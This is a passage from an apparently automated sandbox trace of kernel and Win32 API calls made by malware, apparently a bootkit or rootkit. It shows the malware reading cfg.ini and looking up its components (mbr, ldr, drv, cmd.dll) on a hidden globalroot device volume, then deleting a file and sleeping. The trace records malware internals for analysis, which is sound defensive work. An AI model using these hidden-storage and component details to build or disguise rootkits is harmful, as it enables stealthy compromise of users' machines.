(in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.115] KeEnterCriticalRegion () [0128.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.115] KeLeaveCriticalRegion () [0128.115] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.115] KeEnterCriticalRegion () [0128.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.115] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.115] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.115] KeLeaveCriticalRegion () [0128.115] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.115] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.115] KeEnterCriticalRegion () [0128.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.116] ExFreePoolWithTag (P=0xfffffa8003bfef10, Tag=0x0) [0128.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.116] KeLeaveCriticalRegion () [0128.116] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.116] ReleaseMutex (hMutex=0xf0) returned 1 [0128.116] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.116] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.116] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.116] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.116] KeEnterCriticalRegion () [0128.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.116] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.116] IdePortDispatch () returned 0x103 [0128.116] KeWaitForMutexObject () returned 0x0 [0128.116] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.116] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.116] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.116] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.116] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.116] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.116] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.116] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.116] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.117] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.117] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.117] KeLeaveCriticalRegion () [0128.117] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.117] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.117] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.117] KeEnterCriticalRegion () [0128.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.117] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.117] IdePortDispatch () returned 0x103 [0128.117] KeWaitForMutexObject () returned 0x0 [0128.117] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.117] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.117] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.117] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.117] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.117] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.117] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.117] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.117] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.117] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.118] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.118] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.118] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.118] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.118] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.118] KeLeaveCriticalRegion () [0128.118] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.118] ReleaseMutex (hMutex=0x100) returned 1 [0128.118] Sleep (dwMilliseconds=0x2bf20) [0128.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f9014b0, dwHighDateTime=0x1d24fa4)) [0128.129] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.129] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.129] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.129] KeEnterCriticalRegion () [0128.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.129] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.129] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.129] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.129] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.129] IdePortDispatch () returned 0x103 [0128.129] KeWaitForMutexObject () returned 0x0 [0128.129] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.129] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.129] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.129] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.129] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.129] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfef10 [0128.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.129] KeLeaveCriticalRegion () [0128.129] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.129] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.130] KeEnterCriticalRegion () [0128.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.130] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.130] KeLeaveCriticalRegion () [0128.130] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.130] KeEnterCriticalRegion () [0128.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.130] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.130] IdePortDispatch () returned 0x103 [0128.130] KeWaitForMutexObject () returned 0x0 [0128.130] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.130] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.130] KeLeaveCriticalRegion () [0128.130] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.130] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.130] KeEnterCriticalRegion () [0128.130] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccf000 [0128.130] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.130] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.130] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.130] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.130] IdePortDispatch () returned 0x103 [0128.131] KeWaitForMutexObject () returned 0x0 [0128.131] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.131] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.131] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.131] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.131] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.131] IdePortDispatch () returned 0x103 [0128.131] KeWaitForMutexObject () returned 0x0 [0128.131] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.131] KeLeaveCriticalRegion () [0128.131] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.132] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.132] KeEnterCriticalRegion () [0128.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.132] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.132] KeLeaveCriticalRegion () [0128.132] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.132] KeEnterCriticalRegion () [0128.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.132] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.132] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.132] KeLeaveCriticalRegion () [0128.132] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.132] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.132] KeEnterCriticalRegion () [0128.132] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.132] ExFreePoolWithTag (P=0xfffffa8003bfef10, Tag=0x0) [0128.132] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.132] KeLeaveCriticalRegion () [0128.132] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.132] ReleaseMutex (hMutex=0xf0) returned 1 [0128.133] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.133] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.133] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.133] KeEnterCriticalRegion () [0128.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.133] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.133] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.133] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.133] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.133] IdePortDispatch () returned 0x103 [0128.133] KeWaitForMutexObject () returned 0x0 [0128.133] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.133] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.133] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.133] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.133] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.133] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe9b0 [0128.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.133] KeLeaveCriticalRegion () [0128.133] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.133] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.133] KeEnterCriticalRegion () [0128.133] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.133] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.133] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.133] KeLeaveCriticalRegion () [0128.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.134] KeEnterCriticalRegion () [0128.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.134] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.134] IdePortDispatch () returned 0x103 [0128.134] KeWaitForMutexObject () returned 0x0 [0128.134] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.134] KeLeaveCriticalRegion () [0128.134] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.134] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.134] KeEnterCriticalRegion () [0128.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.134] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd0000 [0128.134] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.134] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.134] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.134] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.134] IdePortDispatch () returned 0x103 [0128.135] KeWaitForMutexObject () returned 0x0 [0128.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.135] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.135] IdePortDispatch () returned 0x103 [0128.135] KeWaitForMutexObject () returned 0x0 [0128.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.135] KeLeaveCriticalRegion () [0128.135] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.136] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.136] KeEnterCriticalRegion () [0128.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.136] KeLeaveCriticalRegion () [0128.136] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.136] KeEnterCriticalRegion () [0128.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.136] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.136] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.136] KeLeaveCriticalRegion () [0128.136] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.136] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.136] KeEnterCriticalRegion () [0128.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.136] ExFreePoolWithTag (P=0xfffffa8003bfe9b0, Tag=0x0) [0128.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.136] KeLeaveCriticalRegion () [0128.136] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.136] ReleaseMutex (hMutex=0xf0) returned 1 [0128.136] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.136] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.136] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.136] KeEnterCriticalRegion () [0128.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.137] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.137] IdePortDispatch () returned 0x103 [0128.137] KeWaitForMutexObject () returned 0x0 [0128.137] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.137] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.137] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.137] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.137] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.137] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfef10 [0128.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.137] KeLeaveCriticalRegion () [0128.137] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.137] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.137] KeEnterCriticalRegion () [0128.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.137] KeLeaveCriticalRegion () [0128.137] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.137] KeEnterCriticalRegion () [0128.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 